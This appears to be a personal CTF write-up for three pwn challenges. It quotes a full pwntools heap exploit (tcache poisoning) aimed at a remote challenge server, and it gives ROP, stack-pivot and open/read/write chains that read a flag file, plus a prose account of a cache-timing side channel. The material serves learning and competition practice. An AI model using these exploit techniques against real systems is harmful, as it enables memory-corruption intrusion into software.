# spn (26 November)

I started with 0RAYS’ solution. The idea was to decrypt the SPN-encoded shell address, use tcache to write to the challenge’s shell variable, then select option 5 to trigger the backdoor.
I could follow the script, and it helped me understand tcache a little better. What I couldn’t find was a working SPN decryption script, so I ended up trying another approach.
Here’s the script from 0RAYS:

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='SPN_ENC'
libc_name='lib/libc-2.27.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('124.71.194.126',9999)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
    sla("0.exit\n",str(num))
def add(size,idx):
    cho(1)
    sla("Size:",str(size))
    sla("Index:",str(idx))
def delete(idx):
    cho(3)
    sla("Index:",str(idx))
def show(idx):
    cho(4)
    sla("Index:",str(idx))
def edit(idx,size,data):
    cho(2)
    sla("Index:",str(idx))
    sla("Size",str(size))
    sa("Content",data)
def backdoor():
    cho(5)
def decrypt(x):
    io = process('./spn_dec.py')
    io.sendline(str(x&0xffff))
    a = int(io.recv()[:-1])
    io.close()
    return a
def spn_dec(x):
    a1 = decrypt(x)
    a2 = decrypt(x>>16)
    a3 = decrypt(x>>32)
    aa = a1+a2*0x10000+a3*0x100000000
    print(hex(a3),hex(a2),hex(a1))
    print(aa)
    return aa
ru("gift:")
shell_addr=int(ru('\n'),16)
print(hex(shell_addr))
aa = spn_dec(shell_addr)
print(hex(aa))
add(0x10,0)
add(0x10,1)
add(0x10,2)
delete(2)
delete(1)
edit(0,0x26,b'a'*0x20+p64(aa)[:-2])
add(0x10,3)
add(0x10,4)
edit(4,2,b'aa')
backdoor()
ia()

I later found a simpler route: an input of 0x1000 let me write past the end of the array and overwrite shell , which was enough to trigger the backdoor.

image-20211129232554399

add(0,0x1000)
add(1,0x20)
edit(0,0x1000+2,'\n')
backdoor()

# checkin (27 November)

# About AddressSanitizer

The challenge used AddressSanitizer (ASan), which tracks memory using shadow memory. I used these notes for background.
Here are the main points I wrote down.
ASan is an open-source memory error detector developed at Google. Its two main components are compiler instrumentation and a runtime library.
LLVM instruments memory operations such as loads, stores and stack allocations.
The runtime handles operations such as marking shadow memory accessible or inaccessible and intercepting allocation functions such as malloc and free .
ASan uses a direct mapping for shadow memory. These are the example mappings in the notes:
64-bit

Shadow = (Mem >> 3) + 0x7fff8000;

32-bit

Shadow = (Mem >> 3) + 0x20000000;

# About ORW

Background
Some pwn challenges install a seccomp filter at startup that allows only three system calls: open , read and write . With that restriction, system("/bin/sh") can’t start a shell. ORW takes its name from the three calls we can still use to retrieve the flag.

How it works

First, open the flag file. Then read its contents into a buffer and write them to standard output. Here’s the pseudocode from my notes:

sys_open("flag")//读取flag
sys_read("rax","rsp",0x40)//rax为sysoopen的返回值,也就是flag,然后将flag写到esp下
sys_write(1,"rsp",0x40)//打印flag的值到屏幕输出

I still had some catching up to do here. For a worked example, see this walkthrough of pwnable.tw’s ORW challenge.

# Analysis

The challenge lets us write one byte at an arbitrary address. I changed the second byte of _ZN14__interception21real___isoc99_vfscanfE so the pointer would point to gets (0x73ED28).

image-20211129232602805

sla(b'Welcome! A gift for you:',str(0x73edb8+1))
sleep(1)
sd(b'\x91')
sa(b'Leave a note.',b'a'*0x1f)
sa(b"That's all. Have fun!",p64(0x43FBB3))

I then built a ROP chain, called gets and leaked an address to calculate the libc base.

pop_rdi = 0x41af0b
pop_rsp = 0x484d50
call_puts = 0x43A286
rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)
try:
    p.recv()
    sl(rop)
    libc_addr = leak_address()-0x407e0
    print(hex(libc_addr))
    if libc_addr == 0x736572605c61:
        p.close()
        return 0
except Exception:
    return 0
print(hex(libc_addr))

Finally, I used a stack pivot and an ORW chain to read the flag file.

binsh=libc_addr+0x1B3E1A
system=libc_addr+0x4f550
pop_rsi=0x000000000041ab7c
pop_rdx=0x000000000043ced2
open_addr=libc_addr+libc.sym['open']
read_addr=libc_addr+libc.sym['read']
write_addr=libc_addr+libc.sym['write']
rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)
rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'
sl(rop2)

# slow_spn (29 November)

I thought this challenge was a little odd.
Apart from using pwntools, the reasoning felt closer to a cryptography puzzle than to the other binary challenges.
The program derived a key and plaintext from the flag file and passed values through substitution and permutation boxes, with a simulated cache.
image-20211129232612526
The challenge implements its own cache. It holds up to 0x20 values representing S-box addresses and evicts the smallest value when full. On a hit, the algorithm updates a counter. On a miss, it calls sleep(1) .

We get one lookup at the plaintext’s S-box address. By trying candidate values and watching for the one-second delay, we can tell which lookups hit the cache. That gives us p , v9 , v7 and v5 from the screenshot, along with k >> 8 , k >> 4 and k . Putting the recovered pieces together gives us the key.

image-20211129232621850